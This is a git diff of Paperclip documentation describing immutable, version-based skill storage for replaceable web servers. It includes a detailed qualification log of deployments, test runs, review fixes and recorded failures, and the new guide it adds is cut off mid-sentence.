diff --git a/doc/DEVELOPING.md b/doc/DEVELOPING.md index a59f7c04db4..c84cd452b4e 100644 --- a/doc/DEVELOPING.md +++ b/doc/DEVELOPING.md @@ -2698,6 +2698,24 @@ and hard restarts with live and dead runners, the result-finalization race, incomplete bootstrap, repeated crashes with steering, and fail-closed process identity mismatches. +## Version-based skill authoring and delivery + +Managed content uses `managed-skill-content.ts`: prepare and verify outside the +publication transaction, then compare the captured head and publish version, +projections, audit and applicable receipt together. `skill-execution-content.ts` +owns disposable filesystem bindings. Do not write managed installed directories +or infer missing content from an absent cache. Keep linked-local behavior explicit. + +The [conversion and qualification guide](skill-ephemeral-web-servers.md) documents +bounded eligibility/verification commands and the one-time writer maintenance +boundary. `managed-skill-content.test.ts` covers the focused domain behavior; +`ephemeral-skills-process.test.ts` requires independent disposable Postgres and +S3 fixtures and starts separate Node processes. The optional +`PAPERCLIP_TEST_POSTGRES_ADMIN_URL` creates a random test database per suite. +On hosts with unavailable Tailscale, set `PAPERCLIP_TAILNET_BIND_HOST=127.0.0.1` +for local fixtures to avoid repeated CLI discovery. Do not use fixture timings +collected during builds as hosted performance evidence. + ## App-Shipped Skills Catalog Skill-library reads still reconcile bundled releases, folders, and direct local diff --git a/doc/PRODUCT.md b/doc/PRODUCT.md index d9581ac22ac..3615bc679d1 100644 --- a/doc/PRODUCT.md +++ b/doc/PRODUCT.md @@ -184,6 +184,16 @@ Source feeds and project task lists retain their existing access rules. Company skills are shared operating capabilities, not privileged objects by default. Every authenticated agent in a company can create, import, install, edit, update, test, reset, and remove that company's skills unless the company has configured an explicit restriction. +Paperclip-managed skills are immutable saved versions. Studio and API authoring +publish complete content before acknowledging a save; stale edits return a version +conflict and Studio retains the draft. Installed repository skills use the same +version-based reads and execution selection. Web-server files are disposable caches +and staging, so compatible replacement servers can read, edit and deliver protected +versions from the same database and remote object storage. Explicit linked-local +sources retain local behavior. Active or recovering run pins prevent deletion even +after an agent detaches the skill. See [ephemeral-server skills](skill-ephemeral-web-servers.md) +for conversion, compatibility and qualification boundaries. + The governing rule is: **skill permissions are opt-in restrictions, not opt-in capabilities**. Missing skill grants never create a denial in an otherwise unconfigured company, and ordinary skill work does not require board confirmation, a draft-only workflow, or an activation approval. Core Paperclip owns the skill runtime, company-boundary enforcement, policy evaluation contract, API denials, validation, path containment, secret redaction, and activity logging. Those safety invariants cannot be disabled by policy. Open-by-default skill work never authorizes arbitrary host-path reads, unsafe executable content, or policy edits: local imports and scans must stay within Paperclip-known workspace or managed-skill roots, remote sources must resolve to validated immutable content, and platform safety denials must stay distinct from optional administrative restrictions. Paperclip EE may provide detailed administration for per-agent, per-role, per-action, per-source, and protected-skill rules, but EE is not required to use skills and is not an enforcement boundary. Without EE, companies remain open by default and any already-configured restrictions continue to be enforced by core. diff --git a/doc/SPEC-implementation.md b/doc/SPEC-implementation.md index 77dae972cb4..ce358ac65f5 100644 --- a/doc/SPEC-implementation.md +++ b/doc/SPEC-implementation.md @@ -2375,6 +2375,15 @@ unavailable. Preserve current ownership and newer-work fences. See is automatic and bounded. Unused Git caches can expire and reacquire the recorded commit after current authorization and hash checks; authored/unproven legacy bytes remain durable. See [skill package storage](skill-package-storage.md). +- Paperclip ownership is `managed`, with a null source locator and an immutable + current version. Content mutations prepare durable bytes before a short, + authorization-checked compare-and-swap publication. Acknowledged changes do not + depend on an installed web-server directory. Repository installations use the + same committed-version read and execution boundary; linked-local sources are + explicitly outside the empty-disk guarantee. Execution selections, including + empty selections, persist before delivery; recovery reconstructs exact admitted + digests and active/recovering pins prevent deletion. See + [conversion and compatible upgrades](skill-ephemeral-web-servers.md). - Refresh is serialized per source, checks saved selection revisions, and publishes valid skills plus per-entry outcomes with required activity records in one transaction. Failed packages retain prior versions; access/scan/download failures retain all content. @@ -2382,7 +2391,7 @@ unavailable. Preserve current ownership and newer-work fences. See - Match by repository identity and exact path. Preserve IDs, keys, assignments, folders, and history. New key collisions cannot overwrite unrelated skills. Only changed package bytes or executable modes create versions. Library reads, tests, and subsequent unpinned - runs use local installed snapshots; pinned/active runs retain their versions. + runs use immutable installed snapshots; pinned/active runs retain their versions. - Runtime version directories are disposable caches. An hourly, bounded sweep may evict non-current copies unused for one hour, preserving active and unresolved execution pins. Selection, materialization, and pin persistence serialize with diff --git a/doc/plans/2026-10-30-ephemeral-web-skills.md b/doc/plans/2026-10-30-ephemeral-web-skills.md new file mode 100644 index 00000000000..1da9e889521 --- /dev/null +++ b/doc/plans/2026-10-30-ephemeral-web-skills.md @@ -0,0 +1,462 @@ +# Skills on ephemeral web servers + +## Qualification status + +Implementation is in [PR #18334](https://github.com/paperclipai/paperclip/pull/18334). +Hosted qualification uses the owned disposable +[test tenant](https://ephemeral-skills-qa-oct-30.test.paperclip.app), external +Postgres, S3, and a real remote Paperclip Computer. Cloud policy reserves the +staging domain for master; the rejected staging branch request below made no +deployment. + +- **Passed:** independent-process PostgreSQL/S3 failure matrix; hosted A → B → C + replacement with predecessor homes absent; C reads and executes B's acknowledged + save; historical repository pin delivery while a newer revision is installed. +- **Passed:** full CI and code review at `7ec495de77`, confidence 5/5, no + unresolved findings. Workspace typecheck/build, focused regressions and the + separate-process replacement matrix passed. Local timeout attempts remain + recorded below; their results are not counted as passes. +- **Passed:** compatible image rollback to `6518b323` retained the newer managed + revisions and delivered their bytes plus the historical repository pin remotely. +- **Passed:** deployed unassigned-skill Studio retry: the exact fork v3 was + delivered and executed, Studio reached `succeeded`, and its output snapshot + persisted. Independent package verification found zero blockers. +- The maintenance CLI configuration bootstrap regression and server typecheck + passed. The PR records final CI/review status for the commit containing this + evidence update. + +Runtime candidate `9200e3fcb4` contains the native Studio selection/completion and +legacy completeness fixes. It is deployed and qualified. Later changes integrate +master, protect drafts during a delayed UI reload, and load persisted Cloud +configuration in the maintenance CLI; their verification is recorded separately. +The chronological record below +retains earlier failures and intermediate pending states; this section describes +the current qualification status. + +## Accepted contract + +Given the same database, object storage, secrets, and supported application +artifacts, a replacement server must discover, read, edit, and deliver protected +installed skill versions without its predecessor's files or process memory. +Disk is permitted for disposable scratch, verified caches, and execution delivery. +Managed authoring and library operations address immutable content, not a mutable +installed directory. Git remains the authoring source for repository skills; +installed revisions and run pins govern delivery. Linked local sources remain an +explicit self-hosted compatibility boundary. + +Current, pinned, active/recovering, and authored versions retain durable bytes. +Unused historical Git versions keep the existing expiry/exact-commit policy. +Legacy conversion may use one maintenance window. Compatible later upgrades and +rollback use the same remote state. Other web-server persistence, Railway traffic +handoff, and production volume removal are outside this slice. + +## Delivery and acceptance + +1. Introduce managed ownership and content publication without installed paths; + preserve access, atomic metadata/version publication, idempotency, conflicts, + and active-run retention. Update Studio and API consumers. +2. Separate selection/pinning from materialization; restore exact runtime digests. + Add bounded legacy conversion and disk-independent eligibility diagnostics. +3. Prove cold A → B → C replacements, concurrent writers, uncertain commits, + offline upstream, corrupt/missing objects, access, retention and idle behavior. + Run required checks and qualify one disposable staging tenant with a real + remote agent. Finish with a reviewable PR and exact revision/evidence links. + +## Canonical work and progress + +- Worktree: `/Users/dotta/.codex/worktrees/d084/paperclip` +- Branch: `codex/skills-ephemeral-web` +- Draft PR: https://github.com/paperclipai/paperclip/pull/18334 +- Approved plan: this chat, “Skills on ephemeral web servers,” nine sections. +- Implemented managed create/read/edit/delete-file/fork/rename/restore publication, + immutable catalog installation/reset, Studio version conflict recovery, durable + pre-materialization selection and exact pinned-runtime rehydration. Source + disconnect retains immutable content and access provenance. +- Added bounded installation conversion, eligibility and independent version + verification to existing migration tooling; conversion requires retired writers. +- Independent OS-process A → B → C qualification passed using owned Docker + PostgreSQL and RustFS S3 fixtures. Real HTTP routes covered saves, supporting + executable content, uncertain commit receipts, stale concurrent saves and upload + crashes. This is not hosted Runner qualification. +- Studio tests: 14 passed, including draft preservation and confirmed reload. +- Workspace typecheck and build passed. Map checks and UI token gates passed. + Broader compatibility coverage passed 362 cases; follow-up runs passed migration, + policy, package, project access and retained-run cases after updating old model + expectations. Final focused checks and the full repository suite are running. +- One-connection tests now exercise package acquisition before the publication + transaction. Fork reassignment also uses the transaction's database handle. +- Host embedded Postgres cannot initialize: exhausted kernel semaphore pool. + Owned Docker fixtures are `paperclip-skills-ephemeral-pg` (port 61006) and + `paperclip-skills-ephemeral-s3` (port 61007). No unrelated databases changed. +- Disposable staging tenant created through normal onboarding: + https://ephemeral-skills-qa-oct-30.staging.paperclip.app + Agent `dfd238b5-5e5d-43ef-b34a-cb5bff2267f3` (Skills Qualification), paused. + OpenAI API-key setup uses the explicitly authorized local credential. Candidate + `6518b323528b2b595c5949c3ed2c57a8d2438cb6` is building under release run + https://github.com/paperclipai/paperclip/actions/runs/41085949238. + Single-tenant deploy request: `c65f3677-4b4e-4687-957a-28e2bfb89451`. + Stack `stack-pool-50f5009d5644` is user-managed during qualification so unrelated + fleet rollouts cannot replace the test candidate. No live run claimed yet. +- Greptile's first review found root-package path truncation, linked-local fork + and restore regressions, and a concurrent receipt replay race. Fixed all four; + focused review checks passed 76 server and 16 Studio tests. CI also exposed + obsolete host-path fixtures and a company-deletion/publication race. Updated + those fixtures and publication locking; 20 targeted integration tests passed. + Skill detail now resolves existing metadata without seeding the entire library. +- Remaining: finish repository checks and PR review, candidate deployment and + fresh-home remote Runner qualification including compatible rollback. The PR + stays draft until hosted qualification and the final checks are complete. +- Greptile reached 5/5 with all six comments resolved at `8c0fae76a6`. + CI at that revision passed typecheck, build, all unit/integration shards and + Runner checks; two browser shards still require investigation. The shared-chat + question fixture's five-second assertion raced a successful asynchronous run; + its readiness wait now follows the existing run-settlement helper. +- A cold metadata assertion exposed three manifest downloads during history + listing. New versions now persist a complete metadata index and migration + backfills legacy indexes without changing content/version identity. Process + qualification confirmed zero metadata/warm downloads; its tiny fixture measured + a 176 ms cold read (two objects, 899 bytes), 37 ms warm execution preparation, + 899 MB process RSS and 820 bytes of temporary files. These local fixture numbers + are not hosted latency or incremental memory claims. A follow-up compatibility + run caught changed file ordering; preserving the existing order fixes that drift. +- Metadata/package compatibility passed all 44 tests after preserving file order. + Both affected browser cases passed independently. Stop/reset now allows a bounded + 30-second cold startup; its failure trace showed cancellation during preparation + when the old five-second assertion expired, before the fixture began streaming. +- The baseline image published successfully, but the deployment check rejected the + branch with `fleet_campaign_staging_requires_master` (Cloud run `41092962684`). + Current Cloud policy uses `test.paperclip.app` for branch experiments. The local + Cloud checkout's older runbook missed this boundary. Qualification is moving to + an owned disposable test tenant; the rejected request made no tenant deployment. +- All 53 applicable CI checks passed at `0dc9a42a6f` (two skipped checks). + The next review found that complete metadata indexes bypassed the unchanged + linked-local manifest shortcut. Whole-package identity mappings now retain that + shortcut; subsets and remapped paths still use their projected inventory. +- A new concurrency regression reproduced a content save overwriting an already + acknowledged metadata edit. Publication now checks the metadata fields it will + replace as well as the version head, and returns 409 when they changed during + preparation. The managed-content and catalog suites passed after this fix. +- Local package/project checks hit timing limits while an older full-suite worker + remained active for over 80 minutes. That task-owned run was stopped; it is not + recorded as a full-suite pass. All four isolated package cases then passed, + including the two previous timeout failures and the linked-local regression. + Final project-access/process qualification is running sequentially. Server + typecheck passed with both final fixes. +- Correct disposable branch-test tenant: + https://ephemeral-skills-qa-oct-30.test.paperclip.app + Stack `stack-ephemeral-skills-qa-oct-30` is pinned user-managed. Baseline A + `6518b323528b2b595c5949c3ed2c57a8d2438cb6` is confirmed serving from image + `ghcr.io/paperclipai/paperclip:sha-6518b323528b2b595c5949c3ed2c57a8d2438cb6-cloud`. + Deploy request `19c33461-d232-453a-bdd1-ba357459be48`, campaign + `fleet-campaign-1793366873548`, Cloud run `41094804453`: one target succeeded. + The user approved saving the same OpenAI key to this test tenant; its remote + Codex environment verification succeeded on a Paperclip Computer. +- Studio created unassigned managed skill `3ade7878-8aaf-47c7-aebd-7da23a8afb5d` + (Ephemeral Skills Proof), with instructions, `references/value.txt`, and + `scripts/prove.sh`. Remote agent `300911d4-590d-4a26-b1c0-c80db14fa072` is + preparing the executable flag through the ordinary API. Fresh-home replacement, + delivered-byte verification and compatible rollback remain pending. +- Final sequential project-access/process qualification passed all 31 cases; + the complete-map package checks passed all four isolated cases. The metadata + and linked-local fixes were pushed as `ceab192b1774fcb5be17db57de5579d81007b9c1`. +- Remote preparation task EPH-1 saved revision 6, version + `1abec28d-dd4a-4763-acd4-5a67af874911`, with the script executable. All three + reported file digests match hashes independently computed from the Studio + inputs. Company: `16cfa89e-f159-5040-927e-aca46ee87c2f`. +- Baseline Studio test `81951c91-ec59-4eae-b5c5-c0083119f6ae` failed before + execution (`b326a961-c1b8-43ad-b38b-7f6424939ee3`): its route constructed + heartbeat without the existing plugin worker manager. This is a route wiring + failure, not missing skill content or missing image dependencies. The fix passes + the app's existing manager through the Studio route to execution, matching other + task routes. No Cloud composition/admission policy changes are required. + The first route-suite attempt hit its 30-second module-load setup timeout before + any test ran; a bounded 120-second setup-budget retry is running. +- The Studio route regression suite passed all 64 cases on retry, and server + typecheck passed. The managed sandbox manager is reused from app construction; + no provider behavior, permissions or lifecycle ownership changed. +- Baseline remote task EPH-3 passed on run + `07a711a9-a7d7-45e3-8c00-f64f71d2a9cc`: the delivered v6 script ran directly + with mode `555`, printed `skill-script-A: durable-skill-payload-A-20261030`, + and all three file digests matched independently calculated input digests. + Its saved task document records the execution-local installation path. +- Imported repository skill `581b718a-3681-48c4-96d5-87d12b694550` from + `paperclipai/paperclip` commit `dff63551fe07934a82a0942e502adba3fcbb08ca`. + The existing import filter admitted 12 files and excluded the API reference. + A later explicit source refresh hit the repository size limit and retained + the installed revision. That refresh is not counted as a successful update. +- Test-only env campaign `fleet-campaign-1793366873581` succeeded at + `2026-10-30T17:38:00.006Z`, changing only `PAPERCLIP_HOME` to + `/tmp/ephemeral-skills-a` on `stack-ephemeral-skills-qa-oct-30`. + Audit evidence reports one target, one key, zero removed keys, and unchanged + Computer images. Studio reopened v6 with its supporting files afterward. + Unassigned fork `6381a0a0-582b-4d26-b858-4e56b606e07c` was created through + Studio and saved as v2 with `unassigned-payload-A-20261030` in its reference. +- Review of `35b6a12fe4` identified a forced catalog reinstall conflicting with + its own audit metadata write. A real Postgres regression reproduced the 409. + Candidate auditing is now read-only; successful publication commits the new + audit metadata, while unchanged/rejected operations retain audit reporting. + Regression checks cover forced reinstall, a new slug, and a competing metadata + writer. The combined catalog/managed run passed 29 cases and hit one unrelated + 15-second asset-test timeout; all four focused catalog cases passed on an + isolated rerun. Server typecheck passed. +- Latest browser CI exposed another five-second startup assertion in the + feature-disable journey. Its trace showed an active adapter invocation before + the fixture's first message. The assertion now uses the existing 30-second + cold-start budget; the exact browser journey passed locally in 12.5 seconds. + No feature-disable behavior or fixture completion assertions changed. + +- Latest code review of `07fffa749511a39b05b2dbc43adcce842195398a` is 5/5, + with zero unresolved review threads. Hosted candidate build is run + `41101360597`; baseline A remains deployed until it completes. +- Provider console independently confirmed external Neon Postgres and S3 on A, + with `PAPERCLIP_HOME=/tmp/ephemeral-skills-a`, deployment + `5fc05d1a-2451-465c-8a15-16b18d1e0d3d`, replica + `f7393d02-49b6-40b9-ae94-db9181300bf4`. A temporary marker was written to + that home so a later container can prove the predecessor's local state is absent. +- Imported the smaller `vercel-labs/agent-skills` repository at exact commit + `93f5a2dee1a270015473e19d24a758a012fa058b`: skill + `3e9f2b84-2d15-49f9-a5c0-8596f4c6e313`, source + `0c03e633-d22e-4a63-b5a5-843823f2eb7b`, 75 admitted files. + Early pin attempts were rejected by the existing Beta skills gate. The late + error toast was confirmed; read-only DB inspection showed no saved pin. +- Beta skills is a tenant preference, so fleet feature override correctly + rejected it as non-managed. Test-only env campaign + `fleet-campaign-1793366873607` exposed only this preference, preserving the + complete existing hidden-settings list and temporary A home. It succeeded at + `2026-10-30T18:04:20.150Z`: one target, two keys, zero removed keys, unchanged + Computer images. The tenant's normal Experimental UI then saved Beta skills + enabled. No fleet default, identity, permission, or volume policy changed. +- The preference campaign replaced A's container: deployment + `9ba9202e-7f47-4edd-b501-aa807760b132`, replica + `d2131533-f4d2-4173-b984-ca46beaef61c`. Provider console observed the + predecessor marker absent, then wrote a new A2 marker for the next replacement. +- Repository assignment saved through the library UI as historical version + `918e2066-b241-4cdc-934a-db896138240b` (revision 1, `GitHub 93f5a2de`). + Explicit source refresh to main published current revision 2 + `fa3bb9ac-fcd9-443b-970c-f62590f881dc` (`GitHub 1a2c79d4`); automatic + updates remain paused for this fixture. +- Remote task EPH-4 (`e561a058-3e2d-4f90-9899-a69c6539ed42`), run + `9917cfa3-caed-400a-b1a0-58183e2e2614`, passed after A's temporary state + was replaced. Managed v6 hashes/output/mode matched EPH-3. The repository + wrapper delivered revision 1 while revision 2 was current. Independently read + exact-commit upstream contents matched the delivered instruction digest + `50b55178a2da8ee931850193596601fa0517cd800e171366a903769f25bf4dda` + and `rules/async-parallel.md` digest + `6d2f841896279e976dfcdc1ac89e70771ac188baadfd43c096b5706cb838b961`. + The agent used the rule to recommend parallel independent fetches and saved + paths, command results and API history in task document `immutable-pin-proof`. +- Required CI gates `ci / verify` and `ci / e2e` passed on `07fffa749`. + Latest check rollup: 52 success, two skipped, one cancelled advisory review + job; Greptile separately completed at 5/5 with no unresolved threads. + +- Candidate `07fffa749` deployed successfully through core-only test request + `d4e172e8-a861-48cc-ae9c-e2f26c8ee636`, Cloud run `41106109829`. + B is deployment `ed70e789-22c3-4b93-93de-da61d7f30ca4`, replica + `16fbb2e8-a7b3-4f32-a483-bc2f5c77a8ee`, with + `PAPERCLIP_HOME=/tmp/ephemeral-skills-b`. Local health confirmed the code SHA; + provider console confirmed A's home and marker absent. The unassigned fork + opened as v2 with zero agents. Studio acknowledged a supporting-file edit to + the primary managed skill as v7 (`durable-skill-payload-B-20261030`). +- Independent verification on B read 23 saved versions: 21 `remote_storage` + results and two `database_release_snapshot` results. No corrupt, missing, + local-storage or provider-mismatch results. The next cursor returned zero. +- Live Studio test EPH-5, test `9c4f3775-2793-46c6-b09d-e3343e0e4c65`, + heartbeat `7fe45977-a061-408b-b7c5-5721a7e9f08b`, passed the repaired plugin + wiring but failed native admission: `skill_test` was excluded by Runner's + task-mode allowlist and execution-input parser. This failure is retained; + the Studio acceptance requirement remains pending a deployed retry. +- Follow-up admits and preserves `skill_test` through the existing native + selection, execution contract and tool bindings. It does not relabel tests + as standard work. Task-bound JWT restrictions remain with their authorization + owners; the native surface is restricted as detailed below. No executor refactor or + Rust protocol change is needed. Older images that reject this mode cannot + continue a new Studio test; rollback qualification settles tests first. +- Follow-up local checks: 78 admission/input tests, 109 Runner contract tests, + 40 assigned-MCP tests, and three real-HTTP skill-test scope regressions passed. + Initial scope/MCP attempts encountered sandbox socket restrictions; permitted + retries passed. Runner TypeScript/Rust checks and server TypeScript check + passed. Maps remain aligned (35 areas, 192 capabilities). + +- B's v7 is `e1f96114-6be5-4878-b9ae-269bac0da215`; independent hash of + its supporting file is `c2d9b967aa8ddfad7896804ea1a7ae613b8ff631ff6a084cee7553125bc7fd27`. + EPH-6 (`c5377e90-c80c-4f97-8ada-c4eaf205af0a`), run + `96537d81-b224-442a-9ec1-993fbd89ff56`, completed successfully and saved + `server-b-skill-proof`. Direct script output contained the B payload; executable + mode remained 555, other managed hashes were unchanged, and repository v1 + instruction/rule hashes matched the independent exact-commit reference. +- C home campaign `fleet-campaign-1793366873685` (target + `fleet-campaign-target-1793366873686`) succeeded at + `2026-10-30T18:36:03.930Z`, preserving both managed env keys and Computer images. + Deployment `462e3327-e49b-4096-b5e2-73f5db058a9f`, replica + `01c696c4-89b9-4358-9c2b-108faa4c9d50`, served `07fffa749` with home + `/tmp/ephemeral-skills-c`. Console verified A and B directories and B's marker + absent. Studio cold-read v7 and the exact acknowledged B payload. +- Unassigned fork v2 identity was independently confirmed as + `8b008393-f909-424a-9f68-1995231455a7`. It remained at zero assignments on C; + its supporting file was then edited through Studio to a C-specific payload. + Execution on the candidate with native Studio admission remains pending. +- C's remote EPH-7 (`d57f6f66-7072-4fb9-abde-199edf5192ef`), run + `c7f89682-ab9b-4f00-940f-88967c6c0264`, completed successfully. The saved + `server-c-skill-proof` document (revision `8129375b-f56c-4b80-99b0-637481a31f72`) + was independently opened and read. All five hashes matched the B run and + independent references. Its new session `7f164893cdc73464e112e2572baed3ddc166bb29485d770c37fbf7449793cdc0` + executed the unchanged script with exit 0, mode 0555 and the exact B payload. + The managed selected/current version remained v7, and repository selection + remained v1 while its current head remained v2. +- Review of `8821b040` found that native task creation omitted the admitted + skill-test scope. Image build `41108317938` was cancelled before deployment. + Native authorization now carries the saved scope, denies company/peer tools, + task creation and external tools, and checks the scope before mutation receipt + replay. Task context contains only the harness task. Real database regressions + exercise both fresh tests and persisted tests after their task mode changes. +- Native scope checks passed: three new real-database cases plus four REST + scope/image-access cases. The existing native tool-authority suite passed all + 37 tests. Server typecheck and map checks passed. The initial new-test attempts + corrected a fixture tool name and matched the existing privacy-preserving 404 + for unrelated tasks; own-task reads returned 200. +- `350f1b377c459420a1c1474723501a4bccc6d7fc` received Greptile 5/5. + The native-scope review thread is resolved. Test deployment request + `d2480188-1fc9-4a22-a32b-16af7f439ca4` prepared in Cloud run `41110650568`; + candidate image build is `41110729544`. +- The fork's C save is version `ef34d9e5-2533-497e-8411-a797117afb4a`. + C's durable `tool.execution.completed` event at sequence 322 was inspected + independently of the report: the real shell command completed with exit 0, + mode 555, all five expected hashes, and `skill-script-A: durable-skill-payload-B-20261030`. + A disposable `qualification-marker-c` was written in C's temporary home for + the next container replacement check. +- Full CI at `350f1b377c` passed 50 checks but found two old `mode_denied` + message expectations in case/reassignment tests. Both operations are rejected + earlier by the native scope guard with 403. Updated the assertions and checked + that denial never stops another task. The case-gate regression and all 26 + reassignment tests passed locally. Reassignment now uses the existing optional + external-Postgres helper; initial attempts hit exhausted embedded-Postgres + resources and a startup timeout, retained as failures rather than passes. + These follow-ups change only tests and evidence, not candidate runtime code. +- Image `350f1b377c` deployed successfully in Cloud run `41115408877`, confirmed + by local health on deployment `d70457ab-a812-45d5-8a38-657f6bfc02de`, replica + `9f58192d-9207-4065-86e4-48887c6a8b3e`. A/B homes and C's marker were absent. +- Studio test `ef0aa327-f719-44a3-bea2-1d051f2a793a`, task EPH-8 + (`860476c5-d4bf-4619-9206-8aa18884f545`), executed successfully but delivered + the agent's normally assigned primary skill instead of the requested unassigned + fork. Its report explicitly records the mismatch. This is a failed qualification, + regardless of the task's Done status. The fix passes the durable Studio pin into + execution preparation, replacing ordinary assignments while preserving recovery + pins and current access checks. Hosted retry remains required. +- The same EPH-8 heartbeat (`94eeb6ff-7d9e-49b7-bee2-0ef5f41ff8a4`) succeeded + and marked its task Done, but the Studio row remained queued with an empty + output snapshot. Native completion bypassed the REST-only success hook. Native + status publication now calls the existing skills owner within its transaction; + status, output and activity commit together. Four real-Postgres regressions pass + for completion/cancellation, replay from another client, transaction rollback, + blocked work and superseded tests. Completion uses a conditional terminal update. +- The two selection regressions pass, including assembled dispatch of an unassigned + historical executable file. Server typecheck and map checks pass. A broad local + execution suite attempt hit timeout cascades (20 passed, 9 failed); this is not + counted as success. Isolated new tests passed; the full affected suite is rerunning. +- Compatible rollback request `2363f01e-2e6b-4b72-9234-3fd0c5f22e88` deployed + `6518b323528b2b595c5949c3ed2c57a8d2438cb6` through Cloud run `41116892516`. + Deployment `5034b027-d9e2-4bd6-8efe-526d3d065d7d`, replica + `9ff45218-e553-4122-b411-e7052c521917`, was confirmed through local health. + The predecessor's `qualification-marker-d` was absent. Studio reopened the + unassigned fork's v3 supporting file as `unassigned-payload-C-20261030`. +- Rollback task EPH-9 (`d5d03621-9616-4713-88ad-0ea54e4c3d53`), run + `7ae0b61d-0e9f-4761-914c-9dc399c0ebc8`, completed on a real remote Computer. + Its `rollback-skill-proof` document matches all six independently known hashes, + managed v7 and repository v1 IDs. It executed the unchanged script with exit 0, + mode 0555 and the acknowledged B payload. Durable command event sequence 293 + was independently inspected through the tenant console and confirms those + bytes, hashes and actual execution. The repository rule also produced the useful + independent-requests `Promise.all()` recommendation. +- The complete affected suites passed all 33 tests in 65.65 seconds. The Studio + fix is `417270ab18`; current master `3b84c89885` merged without conflicts as + `5afd8c3b056f6c0fceeb121c0f398beb72317e2b`. Post-merge server typecheck, + all 33 affected tests, map checks and UI token gates passed again. +- The independent OS-process replacement matrix passed again on `5afd8c3b05` + (two scenarios, 54.24 seconds). A/B/C version IDs were + `56c4b315-082f-4caa-8788-02e10b45d3a4`, + `ed03e467-3a81-4256-849e-53ece688e5aa`, and + `9ff5d4ce-43e7-4b2e-883d-8b010fc5c42b`. Cold read was 522.16 ms, + two downloads/899 bytes; warm preparation was 143.72 ms with zero downloads. + Reported RSS was 881,639,424 bytes and disposable home content 820 bytes. + These are local fixture measurements, not hosted latency claims. +- Candidate request `9a03542e-ea41-4ea1-94c8-7dd1ae38c621` prepares in Cloud + run `41118819981` and builds in Core run `41118878753`. The tenant remains on + the verified rollback image until this candidate is deployed. +- Review at `5afd8c3b05` found that existing partial repository versions could + bypass conversion and be reported as eligible. Installation conversion, + eligibility and independent verification now compare the current saved inventory + with the installed inventory. Missing files block readiness; conversion can use + only complete saved/local content or the exact pinned remote source. Both JSONB + and packaged legacy regressions pass, including upstream failure with an unchanged + head, exact-commit repair and unchanged complete installations. The entire managed + content suite passed 16 tests. Build `41118878753` was cancelled before deployment + so hosted acceptance will use a candidate containing this correction. +- Full workspace typecheck passed after allowing the migration launcher's local IPC + socket. The initial sandbox attempt failed with `listen EPERM` before that check + could run. The workspace build is running separately. +- The workspace build passed on `9200e3fcb4` after correcting a missing-version + null check caught by its first attempt. Greptile re-reviewed that commit at + 5/5 with zero unresolved findings. Image request + `0b5a10c1-dccf-4c01-9db7-548ea07897a0` prepares in Cloud run `41120340127` + and builds in Core run `41120440752`. +- Earlier failed Studio fixture `ef0aa327-f719-44a3-bea2-1d051f2a793a` was + cancelled through Studio to settle its stale queued pin. Its mismatch report and + draft output remain visible. It is still recorded as a failed qualification. +- CI run `41120305357` found the same obsolete restart-scope fixture in Runner + static checks and general server shard 5. The helper always returned no saved + skill; preparation now correctly rejects that state. It now reads a real durable + test/version row, asserts missing-version rejection first, and still verifies + restricted REST scope after task-mode edits. Both focused HTTP cases and server + typecheck pass. The complete 52-case HTTP suite passed in 63.78 seconds. This follow-up + changes only the test fixture and evidence, leaving image runtime code unchanged. +- Master advanced to `76fde891cc` during image publication. Merge `61f5664337` + preserves both the skill-recovery and native-usage imports; no skills behavior + changed in the merge. Full workspace typecheck and build passed. A combined + local run passed 42 cases, failed three execution timeouts plus a tracer setup + assertion, and skipped 52 HTTP cases after a setup timeout. Isolated retries + are recorded below rather than treating the combined run as passing. +- Review found a delayed conflict-reload response could overwrite text typed after + discard confirmation. The response now applies only while the same skill, file + and draft remain current. All 17 Studio component cases passed, including a + delayed response while the user continues typing. This client-only follow-up + is separate from the `9200e3fcb4` server image used for remote delivery proof. +- Full CI run `41124309799` passed at `7ec495de77`; Greptile review 14 is 5/5 + with zero unresolved findings. The isolated local execution retry stopped + producing progress and was interrupted; no success is claimed for that attempt. + The full CI suites cover the integrated execution and HTTP cases. +- Candidate `9200e3fcb45082ad73fbb75863d56eb2e6ce526c` deployed successfully + through Cloud run `41124147876`, ready at `2026-10-30T20:36:46Z`. + Deployment `3daed721-eefe-4947-afe3-d8fd1db6aa2c`, replica + `29375d2e-50ea-467e-9492-a2d4bc7e628e`, retained the temporary C home setting. + Console inspection confirmed A/B homes and the rollback marker absent. +- The Studio retry created test `7c55d51d-c2c9-426e-a2fa-3606c486d41a`, task + `e8405564-1d2e-4013-8aeb-145de0a76fbd`, and remote run + `c6ebc90d-1411-404b-ad6d-789d960a7a48`. It delivered only the selected + unassigned fork `ef34d9e5-2533-497e-8411-a797117afb4a` (v3), with + `unassigned-payload-C-20261030\n`, stdout + `skill-script-A: unassigned-payload-C-20261030\n`, exit 0 and mode 0555. + Studio visibly reached `succeeded` and displayed the durable output snapshot. + The fork still has zero assignments. SHA-256 values match the expected fixture: + `SKILL.md` = `a97ee4d33cac28f9affcc53e48b3de00f72a9a8b70a0b3a53bb81569b1111ae6`, + reference = `0d5a7396baaf395ef24e9136b2f9892e9878d863b42ff3195d376f61248d1f5f`, + script = `8830c87e4e56e76dbe70bfac5fa4260d1e33d62eaa3289d1f8887a3fa9521da0`. +- Independent database inspection confirmed task EPH-10 is done, its native run + succeeded, and its exact durable selection contains only the unassigned fork v3. + The Studio row is `succeeded` with a 1,915-character output snapshot. Runner + command event sequence 204 independently confirms all three hashes, actual + script stdout, exit 0 and mode 0555; these are tool results, not only the agent's + report. The Studio success screenshot is retained with the handoff. +- Final eligibility inspected 14 installations, all `version_backed`. + Independent verification inspected 25 versions: 23 `remote_storage`, two + `database_release_snapshot`, zero blockers, and zero rows at the next cursor. + The first standalone command incorrectly reported packages unavailable because + it had not loaded Cloud's persisted runtime configuration. The same services + passed after loading that snapshot. The CLI now loads it read-only and fails + explicitly if absent, without seeding configuration. A real child-process test + covers missing configuration, no write on inspection, eligibility, and object + verification; it passed. An initial diagnostic wrapper also used a nonexistent + compiled DB entry point; correcting it to the image's source entry point allowed + the bounded verification to run. Neither diagnostic failure changed skill data. +- The CLI child-process regression passed in 46.52 seconds, and server typecheck + passed after the bootstrap correction. The CLI reads existing configuration + without creating or changing it; no new maintenance process or listener exists. diff --git a/doc/skill-ephemeral-web-servers.md b/doc/skill-ephemeral-web-servers.md new file mode 100644 index 00000000000..9de48505f96 --- /dev/null +++ b/doc/skill-ephemeral-web-servers.md @@ -0,0 +1,173 @@ +# Skills on ephemeral web servers + +The skills guarantee is replacement of A by B, and then C, with empty web-server +homes and the same database, object storage, secrets and supported application +artifacts. Disk remains useful for scratch archives, verified caches and transport 